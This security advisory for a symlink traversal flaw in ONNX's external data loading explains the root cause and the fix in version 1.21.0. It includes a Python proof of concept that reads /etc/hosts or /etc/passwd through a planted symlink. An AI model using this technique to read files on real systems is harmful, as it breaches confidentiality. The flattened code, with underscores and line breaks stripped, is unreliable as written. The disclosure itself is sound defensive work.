CVE-2026-34447: ONNX: External Data Symlink Traversal
Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, there is a symlink traversal vulnerability in external data loading allows reading files outside the model directory. This issue has been patched in version 1.21.0.
Other sources
Summary - Issue: Symlink traversal in external data loading allows reading files outside the model directory. - Affected code: onnx/onnx/checker.cc: resolveexternaldatalocation used via Python onnx.externaldatahelper.loadexternaldataformodel. - Impact: Arbitrary file read (confidentiality breach) when a model’s external data path resolves to a symlink targeting a file outside the model directory.
Root Cause - The function resolveexternaldatalocation(basedir, location, tensorname) intends to ensure that external data files reside within basedir. It: - Rejects empty/absolute paths - Normalizes the relative path and rejects .. - Builds datapath = basedir / relativepath - Checks exists(datapath) and isregularfile(datapath) - However, std::filesystem::isregularfile(path) follows symlinks to their targets. A symlink placed inside basedir that points to a file outside basedir will pass the checks and be returned. The Python loader then opens the path and reads the target file.
Code Reference - File: onnx/onnx/checker.cc:970-1060 - Key logic: - Normalization: auto relativepath = filepath.lexicallynormal().makepreferred(); - Existence: std::filesystem::exists(datapath) - Regular file check: std::filesystem::isregularfile(datapath) - Returned path is later opened in Python: externaldatahelper.loadexternaldatafortensor.
Proof of Concept (PoC) - File: onnxexternaldatasymlinktraversalpoc.py - Behavior: Creates a model with an external tensor pointing to tensor.bin. In the model directory, creates tensor.bin as a symlink to /etc/hosts (or similar). Calls loadexternaldataformodel(model, basedir). Confirms that tensor.rawdata contains content from the target outside the model directory. - Run: - python3 onnxexternaldatasymlinktraversalpoc.py - Expected: [!!!] VULNERABILITY CONFIRMED: externaldata symlink escaped basedir
onnxexternaldatasymlinktraversalpoc.py
python #!/usr/bin/env python3 """ ONNX External Data Symlink Traversal PoC
Finding: loadexternaldataformodel() (via cchecker.resolveexternaldatalocation) does not reject symlinks. A relative location that is a symlink inside the model directory can target a file outside the directory and will be read.
Impact: Arbitrary file read outside modeldir when external data files are obtained from attacker-controlled archives (zip/tar) that create symlinks.
This PoC: - Creates a model with a tensor using externaldata location 'tensor.bin' - Creates 'tensor.bin' as a symlink to a system file (e.g., /etc/hosts) - Calls loadexternaldataformodel(model, basedir) - Confirms that tensor.rawdata contains the content of the outside file
Safe: only reads a benign system file if present. """
import os import sys import tempfile import pathlib
Ensure we import installed onnx, not the local cloned package here = os.path.dirname(os.path.abspath(file)) if here in sys.path: sys.path.remove(here)
import onnx from onnx import helper, TensorProto from onnx.externaldatahelper import ( setexternaldata, loadexternaldataformodel, )
def picktargetfile(): candidates = ["/etc/hosts", "/etc/passwd", "/System/Library/CoreServices/SystemVersion.plist"] for p in candidates: if os.path.exists(p) and os.path.isfile(p): return p raise RuntimeError("No suitable readable system file found for this PoC")
def buildmodelwithexternal(location: str): # A 1D tensor; data will be filled from external file tensor = helper.maketensor( name="Xext", datatype=TensorProto.UINT8, dims=[0], # dims will be inferred after rawdata is read vals=[], ) # add dummy rawdata then setexternaldata to mark as external tensor.rawdata = b"dummy" setexternaldata(tensor, location=location)
# Minimal graph that just feeds the initializer as Constant constnode = helper.makenode("Constant", inputs=[], outputs=["out"], value=tensor) graph = helper.makegraph([constnode], "g", inputs=[], outputs=[helper.maketensorvalueinfo("out", TensorProto.UINT8, None)]) model = helper.makemodel(graph) return model
def main(): base = tempfile.mkdtemp(prefix="onnxsymlinkpoc") modeldir = base linkname = os.path.join(modeldir, "tensor.bin")
target = picktargetfile() print(f"[] Using target file: {target}")
# Create symlink in modeldir pointing outside try: pathlib.Path(linkname).symlinkto(target) except OSError as e: print(f"[!] Failed to create symlink: {e}") print(" This PoC needs symlink capability.") return 1
# Build model referencing the relative location 'tensor.bin' model = buildmodelwithexternal(location="tensor.bin")
# Use in-memory model; explicitly load external data from basedir loaded = model print("[] Loading external data into in-memory model...") try: loadexternaldataformodel(loaded, basedir=modeldir) except Exception as e: print(f"[!] loadexternaldataformodel raised: {e}") return 1
# Validate that rawdata came from outside file by checking a prefix raw = None # Search initializers for t in loaded.graph.initializer: if t.name == "Xext" and t.HasField("rawdata"): raw = t.rawdata break # Search constant attributes if not found if raw is None: for node in loaded.graph.node: for attr in node.attribute: if attr.HasField("t") and attr.t.name == "Xext" and attr.t.HasField("rawdata"): raw = attr.t.rawdata break if raw is not None: break if raw is None: print("[?] Did not find rawdata on tensor; PoC inconclusive") return 2
with open(target, "rb") as f: targetprefix = f.read(32) if raw.startswith(targetprefix): print("[!!!] VULNERABILITY CONFIRMED: externaldata symlink escaped basedir") print(f" Symlink {linkname} -> {target}") return 0 else: print("[?] Raw data did not match target prefix; environment-specific behavior") return 3
if name == "main": sys.exit(main())
— GitHub